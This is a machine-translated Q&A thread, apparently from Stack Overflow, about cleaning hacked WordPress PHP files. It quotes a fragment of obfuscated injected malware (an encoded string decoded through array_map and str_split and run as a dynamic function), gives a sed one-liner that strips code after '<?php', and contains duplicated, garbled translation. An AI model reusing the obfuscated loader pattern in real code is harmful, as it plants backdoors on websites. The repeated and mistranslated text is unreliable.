识别受损的PHP文件

识别受损的PHP文件,php,shell,unix,Php,Shell,Unix,我正在尝试清理一些以前被破坏的Word Press.php文件,可能是MySQL代码注入造成的 这些文件的开头如下所示: <?php$kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##x7f;!|!

我正在尝试清理一些以前被破坏的Word Press.php文件,可能是MySQL代码注入造成的

这些文件的开头如下所示:

<?php$kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x2fvr#  x5cq%7**^#zsfvr#        x5!>>   x22!pd%)!gj}Z;h!opjudovg}{;#)W%c!>!%i   x5c2^<!Ce*[!ode(array_map("opfyigg",str_split("%tjw!>!#]y84]275]y83]248]y83]254ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2jm6<     x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**1!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!     x<*)ujojR       x27id%6<        x7fw6*  x7f_*#ujoj;%-qp%)54l}   x27;%!<*#}_;#)323ldfid>}&;!osvufs}

我通常没有看到PHP文件在PHP开始标记之后有任何代码。如果是这种情况,您的问题陈述将简化为替换

<?php.*$

我通常没有看到PHP文件在PHP开始标记之后有任何代码。如果是这种情况,您的问题陈述将简化为替换

<?php.*$

从wordpress迁移出去,永远不再使用它怎么样?Wordpress将癌症引入程序员的世界,就像癌症一样,我们(理智的人)仍然无法治愈这种寄生性疾病。第一步实际上是摆脱它。好的。@Nordenheim事实上Wordpress经过强化后很好-我有一个防弹的设置,但这是一个从别人那里继承来的旧站点,我的问题是编码,而不是询问WP的替代品。从Wordpress迁移出去,永远不再使用它怎么样?Wordpress将癌症引入程序员的世界,就像癌症一样,我们(理智的人)仍然无法治愈这种寄生性疾病。第一步实际上是摆脱它。永远。@Nordenheim事实上Wordpress经过强化后很好-我有一个防弹的设置,但这是一个从别人那里继承来的旧站点,我的问题是编码问题,而不是询问WP的替代品。太好了,Jay,谢谢!这就是我最后使用的:
find-输入f-name\*php | xargs sed-i'.bak''s/Perfect,Jay,谢谢!这就是我最后使用的:
find-键入f-name\*php | xargs sed-i'.bak''s/
<?php
find -name \*php | xargs sed -i 's/<?php.*$/<?php/'